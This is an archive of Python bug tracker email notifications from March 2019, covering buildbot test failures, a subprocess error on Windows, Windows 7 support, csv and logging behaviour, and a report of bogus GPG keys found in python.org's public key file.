The _only_ legitimate use for a tell() result from a file opened in text mode is to pass it as an argument to fseek() later.

As Zachary said, if you need tell() to return an actual byte offset, you need to open the file in binary mode instead.

----------
nosy: +tim.peters
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36190>
_______________________________________

From report at bugs.python.org  Mon Mar  4 16:39:44 2019
From: report at bugs.python.org (Shane)
Date: Mon, 04 Mar 2019 21:39:44 +0000
Subject: [issue36172] csv module internal consistency
In-Reply-To: <1551641825.06.0.900973165633.issue36172@roundup.psfhosted.org>
Message-ID: <1551735584.09.0.40864200951.issue36172@roundup.psfhosted.org>


Shane <shanesmith4 at gmail.com> added the comment:

Thank you both for having a look.  I just find that these sort of gotchas rather annoying (nonsensical mental burden of having to memorize behavior that does not behave like most other features for "hysterical raisins").

I think making the documentation more visible would be far better than nothing.  Currently, help(csv) does not even mention the newline parameter as an available option in any context, nor does help(csv.writer).

I think ideally, the user should be able to rely on a given module's help documentation for most things without having to leave the interpreter to consult the manual.  Thoughts?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36172>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:13:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 22:13:25 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551737605.4.0.66309920141.issue36019@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

St?phane: Python 2.7 is also affected by the issue. Would you be interested in backport the fix to Lib/test/test_urllibnet.py? (in master, it's Lib/test/test_urllib2net.py). 

https://buildbot.python.org/all/#/builders/68/builds/238

Re-running failed tests in verbose mode
Re-running test 'test_urllibnet' in verbose mode
ERROR: testURLread (test.test_urllibnet.URLTimeoutTest)
ERROR: test_basic (test.test_urllibnet.urlopenNetworkTests)
ERROR: test_geturl (test.test_urllibnet.urlopenNetworkTests)
ERROR: test_info (test.test_urllibnet.urlopenNetworkTests)
ERROR: test_readlines (test.test_urllibnet.urlopenNetworkTests)
ERROR: test_basic (test.test_urllibnet.urlretrieveNetworkTests)

----------
versions: +Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:14:10 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 04 Mar 2019 22:14:10 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551737650.51.0.945818831415.issue36183@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

Koobs recently installed gdb on the buildbot to debug some of the recent race conditions. This is very likely to have caused some problems with the test suite.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:18:20 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 04 Mar 2019 22:18:20 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551737900.59.0.945353628623.issue36183@roundup.psfhosted.org>


Pablo Galindo Salgado <pablogsal at gmail.com> added the comment:

I think the solution here is uninstalling gdb from the buildbot. I have emailed Kubilay to see if he can revert the gdb installation to check if this is what is causing the problems.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:39:11 2019
From: report at bugs.python.org (Thomas Jollans)
Date: Mon, 04 Mar 2019 22:39:11 +0000
Subject: [issue36191] pubkeys.txt contains bogus keys
Message-ID: <1551739151.95.0.42643346766.issue36191@roundup.psfhosted.org>


New submission from Thomas Jollans <tjol at tjol.eu>:

The file https://www.python.org/static/files/pubkeys.txt contains some bogus GPG keys with 32-bit key IDs identical to actual release manager key IDs. (see below) I imagine these slipped in by accident and may have been created by someone trying to make a point. (see also: https://evil32.com/)

This is obviously not a serious security concern, but it would be a better look if the file contained only the real keys, and if https://www.python.org/downloads/ listed fingerprints.

Pointed out by Peter Otten on python-list. https://mail.python.org/pipermail/python-list/2019-March/739788.html

These are the obvious fake keys included: 

pub:-:1024:1:2056FF2E487034E5:1137310238:::-:
fpr:::::::::BA749AC731BE5A28A65446C02056FF2E487034E5:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:C2E8D739F73C700D:1245930666:::-:
fpr:::::::::7F54F95AC61EE1465CFE7A1FC2E8D739F73C700D:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:FABF4E7B6F5E1540:1512586955:::-:
fpr:::::::::FD01BA54AE5D9B9C468E65E3FABF4E7B6F5E1540:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:0E93AA73AA65421D:1202230939:::-:
fpr:::::::::41A239476ABD6CBA8FC8FCA90E93AA73AA65421D:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:79B457E4E6DF025C:1357547701:::-:
fpr:::::::::9EB49DC166F6400EF5DA53F579B457E4E6DF025C:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:FEA3DC6DEA5BBD71:1432286066:::-:
fpr:::::::::801BD5AE93D392E22DDC6C7AFEA3DC6DEA5BBD71:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:236A434AA74B06BF:1366844479:::-:
fpr:::::::::B43A1F9EDE867FE48AD1D718236A434AA74B06BF:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:F5F4351EA4135B38:1250910569:::-:
fpr:::::::::4F3B83264BC0C99EDADBF91FF5F4351EA4135B38:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:D84E17F918ADD4FF:1484232656:::-:
fpr:::::::::3A3E83C9DB23EF8B5E5DADBED84E17F918ADD4FF:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:876CCCE17D9DC8D2:1164804081:::-:
fpr:::::::::C1FCAEABC21C54C03120EF6A876CCCE17D9DC8D2:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:0F7232D036580288:1140898452:::-:
fpr:::::::::12FF24C7BCEE1AE82EC38B3A0F7232D036580288:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:
pub:-:1024:1:27801D7E6A45C816:1287310846:::-:
fpr:::::::::8CA98EEE6FE14D11DF37694927801D7E6A45C816:
uid:::::::::Totally Legit Signing Key <mallory at example.org>:

----------
assignee: docs at python
components: Documentation
messages: 337156
nosy: docs at python, tjollans
priority: normal
severity: normal
status: open
title: pubkeys.txt contains bogus keys
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36191>
_______________________________________

From report at bugs.python.org  Mon Mar  4 17:43:49 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 22:43:49 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551739429.48.0.567772276191.issue36183@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> I think the solution here is uninstalling gdb from the buildbot. I have emailed Kubilay to see if he can revert the gdb installation to check if this is what is causing the problems.

Well, test_gdb should work on FreeBSD :-) If you and koobs prefer to remove gdb, I'm also fine with that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 18:45:36 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Mon, 04 Mar 2019 23:45:36 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551743136.24.0.770432601811.issue36019@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

sure, I will do the backport tomorrow. thanks for the notif

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Mon Mar  4 18:51:05 2019
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 04 Mar 2019 23:51:05 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551743465.94.0.404572484381.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12169

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Mon Mar  4 18:58:01 2019
From: report at bugs.python.org (Eric Snow)
Date: Mon, 04 Mar 2019 23:58:01 +0000
Subject: [issue33608] [subinterpreters] Add a cross-interpreter-safe mechanism
 to indicate that an object may be destroyed.
In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za>
Message-ID: <1551743881.3.0.545743665954.issue33608@roundup.psfhosted.org>


Eric Snow <ericsnowcurrently at gmail.com> added the comment:

That's okay, Victor.  Thanks for jumping on this.  I'll take a look when I get a chance.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33608>
_______________________________________

From report at bugs.python.org  Mon Mar  4 19:27:35 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 05 Mar 2019 00:27:35 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1551745655.6.0.203418349084.issue36085@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

> Alternatively, I'm totally happy to make a three month exception to 
> PEP 11 and just drop Win7 completely for 3.8. But I think that needs 
> to be made official as early as possible

Windows 7 is still used on about 40% of Windows desktops, and will likely remain popular for a few years after its scheduled end of life in January 2020. Would this be a hard drop, i.e. would installing 3.8 be prevented in Windows 7? Or would it install but require users to manually install KB2533623?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Mon Mar  4 20:01:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 01:01:30 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551747690.18.0.73167595491.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset cad1f747da47849ab5d8b0b881f7a0b94564d290 by Victor Stinner in branch 'master':
bpo-36142: Add _PyPreConfig structure (GH-12172)
https://github.com/python/cpython/commit/cad1f747da47849ab5d8b0b881f7a0b94564d290


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Mon Mar  4 20:27:03 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 01:27:03 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551749223.87.0.996135332598.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12170

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Mon Mar  4 20:30:50 2019
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 05 Mar 2019 01:30:50 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551749450.7.0.261446346451.issue36183@roundup.psfhosted.org>


Kubilay Kocak <koobs.freebsd at gmail.com> added the comment:

Pablo asked for gdb to be installed to debug the crash in bug issue 36114 and I let him know in my email reply that when I had installed gdb in the past for an unrelated debug need, that test_gdb failed, which at the time I didn't have the time/cycles to report.

I too would prefer that test_gdb didn't fail with gdb installed, but am happy to remove it in the *short term* if requested, once crash analysis for issue 36114 is complete.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 20:33:56 2019
From: report at bugs.python.org (Kubilay Kocak)
Date: Tue, 05 Mar 2019 01:33:56 +0000
Subject: [issue36183] test_gdb failed on AMD64 FreeBSD CURRENT Shared 3.7 and
 3.x
In-Reply-To: <1551708565.34.0.244594683598.issue36183@roundup.psfhosted.org>
Message-ID: <1551749636.49.0.773677130582.issue36183@roundup.psfhosted.org>


Kubilay Kocak <koobs.freebsd at gmail.com> added the comment:

I've just removed gdb from the buildbot at Pablo's (email) request. I can reinstall it on request at any time to resolve the test_gdb failures tracked in this issue.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36183>
_______________________________________

From report at bugs.python.org  Mon Mar  4 20:44:14 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 01:44:14 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551750254.32.0.497448889006.issue36142@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 6dcb54228e7520abd058897440c26e323f62afcd by Victor Stinner in branch 'master':
bpo-36142: Add _PyPreConfig_ReadFromArgv() (GH-12173)
https://github.com/python/cpython/commit/6dcb54228e7520abd058897440c26e323f62afcd


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Mon Mar  4 21:06:25 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 02:06:25 +0000
Subject: [issue36142] Add a new _PyPreConfig step to Python initialization to
 setup memory allocator and encodings
In-Reply-To: <1551318139.47.0.0428953967493.issue36142@roundup.psfhosted.org>
Message-ID: <1551751585.32.0.301682825949.issue36142@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12171

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36142>
_______________________________________

From report at bugs.python.org  Mon Mar  4 22:14:06 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Tue, 05 Mar 2019 03:14:06 +0000
Subject: [issue35678] subprocess.check_output(): OSError: [WinError 87]
In-Reply-To: <1546865273.42.0.642343749188.issue35678@roundup.psfhosted.org>
Message-ID: <1551755646.35.0.818293974204.issue35678@roundup.psfhosted.org>


Geoff Alexander <gdlxn at us.ibm.com> added the comment:

I've recently hit this problem (or one that has the same symptoms):

```
Traceback (most recent call last):
  File "migration.py", line 169, in <module>
    migrate()
  File "migration.py", line 80, in migrate
    rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 310, in acceptchangesintoworkspace
    Commiter.addandcommit(changeEntry)
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 97, in addandcommit
    Commiter.handle_captitalization_filename_changes()
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 130, in handle_captitalization_filename_changes
    files = shell.getoutput("git ls-files")
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\shell.py", line 33, in getoutput
    outputasbytestring = check_output(command, shell=True)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 356, in check_output
    **kwargs).stdout
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 423, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 729, in __init__
    restore_signals, start_new_session)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python36\lib\subprocess.py", line 1017, in _execute_child
    startupinfo)
OSError: [WinError 87] The parameter is incorrect
```

I've tried Python 3.7.2 32-bit, 3.7.2 64-bit, and 3.6.8 64-bit on Windows 10.  The error occurs in a long running Python script after more than one and half hours.  The subprocess.check_output call at shell.py:33 is successfully called hundreds, probably thousands, of times before failing.

I see that the issue is reported as resolved.  But I'm not understanding what is meant by

```
a new version of the code has been released
```

I'm running the latest version of Python, Python 3.7.2, from https://www.python.org/downloads/windows/ (as well as the previous version 3.6.8).  Is there a later version of Python I can try?  Or do I need to get a newer version of the Python subprocess module?

I'm new to Python and wasn't sure if I should reopen this issue or create a new issue.  Please let me know if there any additional information I can collect to help debug this problem.

----------
nosy: +gdlxn at us.ibm.com

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35678>
_______________________________________

From report at bugs.python.org  Mon Mar  4 23:01:55 2019
From: report at bugs.python.org (Geoff Alexander)
Date: Tue, 05 Mar 2019 04:01:55 +0000
Subject: [issue35678] subprocess.check_output(): OSError: [WinError 87]
In-Reply-To: <1546865273.42.0.642343749188.issue35678@roundup.psfhosted.org>
Message-ID: <1551758515.6.0.527750111002.issue35678@roundup.psfhosted.org>


Geoff Alexander <gdlxn at us.ibm.com> added the comment:

Here's the trace back I get from Python 3.7.2:

Traceback (most recent call last):
  File "migration.py", line 169, in <module>
    migrate()
  File "migration.py", line 80, in migrate
    rtc.acceptchangesintoworkspace(rtc.getchangeentriestoaccept(changeentries, history))
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\rtcFunctions.py", line 310, in acceptchangesintoworkspace
    Commiter.addandcommit(changeEntry)
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 97, in addandcommit
    Commiter.handle_captitalization_filename_changes()
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\gitFunctions.py", line 130, in handle_captitalization_filename_changes
    files = shell.getoutput("git ls-files")
  File "c:\Users\GeoffAlexander\Documents\Nirvana\RTC2Git\git-repositories\rtc2git-migration-tool\shell.py", line 33, in getoutput
    outputasbytestring = check_output(command, shell=True)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python37-32\lib\subprocess.py", line 395, in check_output
    **kwargs).stdout
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python37-32\lib\subprocess.py", line 472, in run
    with Popen(*popenargs, **kwargs) as process:
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python37-32\lib\subprocess.py", line 775, in __init__
    restore_signals, start_new_session)
  File "C:\Users\GeoffAlexander\AppData\Local\Programs\Python\Python37-32\lib\subprocess.py", line 1178, in _execute_child
    startupinfo)
OSError: [WinError 87] The parameter is incorrect

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35678>
_______________________________________

From report at bugs.python.org  Tue Mar  5 00:19:38 2019
From: report at bugs.python.org (Benjamin Peterson)
Date: Tue, 05 Mar 2019 05:19:38 +0000
Subject: [issue36188] Remove vestiges of Python 2 unbound methods from Python 3
In-Reply-To: <1551722702.8.0.594568497768.issue36188@roundup.psfhosted.org>
Message-ID: <1551763178.23.0.44957961828.issue36188@roundup.psfhosted.org>


Benjamin Peterson <benjamin at python.org> added the comment:


New changeset b727239575894b060db37792e86aab818c00817a by Benjamin Peterson (Martijn Pieters) in branch 'master':
closes bpo-36188: Clean up 'unbound' method left-overs. (GH-12169)
https://github.com/python/cpython/commit/b727239575894b060db37792e86aab818c00817a


----------
nosy: +benjamin.peterson
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36188>
_______________________________________

From report at bugs.python.org  Tue Mar  5 02:06:54 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 07:06:54 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551769614.48.0.77428874841.issue36019@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Hi Victor,

For the backport, should I add support.TEST_HTTP_URL?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:06:01 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 08:06:01 +0000
Subject: [issue22831] Use "with" to avoid possible fd leaks
In-Reply-To: <1415560947.71.0.445590332058.issue22831@psf.upfronthosting.co.za>
Message-ID: <1551773161.63.0.361229944471.issue22831@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 9e4861f52349011cd5916eef8e8344575e8ac426 by Serhiy Storchaka in branch 'master':
bpo-22831: Use "with" to avoid possible fd leaks in tests (part 1). (GH-10928)
https://github.com/python/cpython/commit/9e4861f52349011cd5916eef8e8344575e8ac426


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22831>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:06:29 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 08:06:29 +0000
Subject: [issue22831] Use "with" to avoid possible fd leaks
In-Reply-To: <1415560947.71.0.445590332058.issue22831@psf.upfronthosting.co.za>
Message-ID: <1551773189.44.0.507399546277.issue22831@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 5b10b9824780b2181158902067912ee9e7b04657 by Serhiy Storchaka in branch 'master':
bpo-22831: Use "with" to avoid possible fd leaks in tests (part 2). (GH-10929)
https://github.com/python/cpython/commit/5b10b9824780b2181158902067912ee9e7b04657


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue22831>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:24:31 2019
From: report at bugs.python.org (Eryk Sun)
Date: Tue, 05 Mar 2019 08:24:31 +0000
Subject: [issue35678] subprocess.check_output(): OSError: [WinError 87]
In-Reply-To: <1546865273.42.0.642343749188.issue35678@roundup.psfhosted.org>
Message-ID: <1551774271.85.0.872507647774.issue35678@roundup.psfhosted.org>


Eryk Sun <eryksun at gmail.com> added the comment:

Geoff, we probably need a new issue for this, but first, please report the value of len(os.getcwd()) in a case where check_output() fails. 

Prior to Windows 10, the working directory is limited to MAX_PATH - 2 (258) characters. (Windows uses the last two characters internally for a trailing backslash and a terminating null.) However, even with long-path support enabled in Windows 10, CreateProcessW retains the original WINAPI limit, which I assume is because the current implementation doesn't know whether the child supports long paths. If the inherited current directory exceeds this limit, CreateProcessW fails with ERROR_INVALID_PARAMETER (87).

----------
nosy: +eryksun

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35678>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:39:41 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 08:39:41 +0000
Subject: [issue36192] Usage of `tmpnam_r` and `tempname` is dangerous,
 better use `mkstemp`
Message-ID: <1551775181.42.0.282557914033.issue36192@roundup.psfhosted.org>


New submission from St?phane Wirtel <stephane at wirtel.be>:

Hi,

I got these warning messages

/usr/bin/ld: libpython2.7.a(posixmodule.o): in function `posix_tmpnam':
/home/stephane/src/github.com/python/cpython/./Modules/posixmodule.c:7648: warning: the use of `tmpnam_r' is dangerous, better use `mkstemp'
/usr/bin/ld: libpython2.7.a(posixmodule.o): in function `posix_tempnam':
/home/stephane/src/github.com/python/cpython/./Modules/posixmodule.c:7595: warning: the use of `tempnam' is dangerous, better use `mkstemp'


Because the EOL of 2.7 is in 2020-01-01, do you think we should fix this issue?

----------
components: Library (Lib)
keywords: easy (C)
messages: 337172
nosy: benjamin.peterson, matrixise
priority: normal
severity: normal
status: open
title: Usage of `tmpnam_r` and `tempname` is dangerous, better use `mkstemp`
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36192>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:43:15 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Tue, 05 Mar 2019 08:43:15 +0000
Subject: [issue36192] Usage of `tmpnam_r` and `tempname` is dangerous,
 better use `mkstemp`
In-Reply-To: <1551775181.42.0.282557914033.issue36192@roundup.psfhosted.org>
Message-ID: <1551775395.14.0.578993380239.issue36192@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

The fix of this issue is Python 3.

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36192>
_______________________________________

From report at bugs.python.org  Tue Mar  5 03:47:51 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 08:47:51 +0000
Subject: [issue36192] Usage of `tmpnam_r` and `tempname` is dangerous,
 better use `mkstemp`
In-Reply-To: <1551775181.42.0.282557914033.issue36192@roundup.psfhosted.org>
Message-ID: <1551775671.54.0.163676741926.issue36192@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

yep, sure and there is a RuntimeWarning exception (tmpnam is a potential security risk to your program) when we want to use os.tmpnam().

And in the doc, there is a warning section.

Ok, I close this issue.

----------
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36192>
_______________________________________

From report at bugs.python.org  Tue Mar  5 04:02:48 2019
From: report at bugs.python.org (Paul Moore)
Date: Tue, 05 Mar 2019 09:02:48 +0000
Subject: [issue36085] Enable better DLL resolution
In-Reply-To: <1550881737.58.0.129017089721.issue36085@roundup.psfhosted.org>
Message-ID: <1551776568.25.0.628396452292.issue36085@roundup.psfhosted.org>


Paul Moore <p.f.moore at gmail.com> added the comment:

As someone whose work environment is still Windows 7, I'd prefer it if it were a soft desupport (i.e., we require users to manually ensure that the KB fix is installed, but we don't do anything specific to refuse to install Python on Win7).

I'd rather not drop Win7 support in 3.8 completely - I feel like that's a bit too aggressive, as Eryk says, there's still a *lot* of Windows 7 usage.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36085>
_______________________________________

From report at bugs.python.org  Tue Mar  5 04:12:49 2019
From: report at bugs.python.org (=?utf-8?q?St=C3=A9phane_Wirtel?=)
Date: Tue, 05 Mar 2019 09:12:49 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551777169.78.0.501551165922.issue36019@roundup.psfhosted.org>


St?phane Wirtel <stephane at wirtel.be> added the comment:

Victor,

Should I also fix these tests:

test_urllibnet.py::urlretrieveNetworkTests.test_specified_path
test_urllibnet.py::urlretrieveNetworkTests.test_header
test_urllibnet.py::urlopenNetworkTests.test_fileno

?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:12:00 2019
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 05 Mar 2019 11:12:00 +0000
Subject: [issue36019] test_urllib fail in s390x buildbots:
 http://www.example.com/
In-Reply-To: <1550450495.08.0.90804425705.issue36019@roundup.psfhosted.org>
Message-ID: <1551784320.65.0.856666283607.issue36019@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> For the backport, should I add support.TEST_HTTP_URL?

Yes

> Should I also fix these tests:

Yes, all urllib and urllib2 tests which use http://www.example.com/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36019>
_______________________________________

From report at bugs.python.org  Tue Mar  5 06:17:19 2019
From: report at bugs.python.org (=?utf-8?q?Andrius_Laukavi=C4=8Dius?=)
Date: Tue, 05 Mar 2019 11:17:19 +0000
Subject: [issue36193] Redirected stderr not reset properly when using logging
Message-ID: <1551784639.74.0.156563550591.issue36193@roundup.psfhosted.org>


New submission from Andrius Laukavi?ius <anlaukavic at gmail.com>:

It looks like logging library uses always first assigned stderr object and won't change it even if it was reset.

capture_output function redirects stdout and stderr to io.StringIO object, saves what was captured in string and returns it. And then context manager resets back stdout and stderr where it should be originally. Though it seems logging library ignores that.

Here is the code I encountered issue with:

import io
import sys
import contextlib
from typing import Optional
import logging

def capture_output(
    target: object,
    args: Optional[tuple] = None,
        kwargs: Optional[dict] = None) -> str:
    """Redirect stdout and stderr into string buffer and capture it.

    target object is executed with optional args, kwargs and all stdout/
    stderr that is captured, returned in string form.

    Args:
        target: object to execute, usually a function.
        args: target positional arguments (default: {None})
        kwargs: target keyword arguments (default: {None})
    """
    if not args:
        args = ()
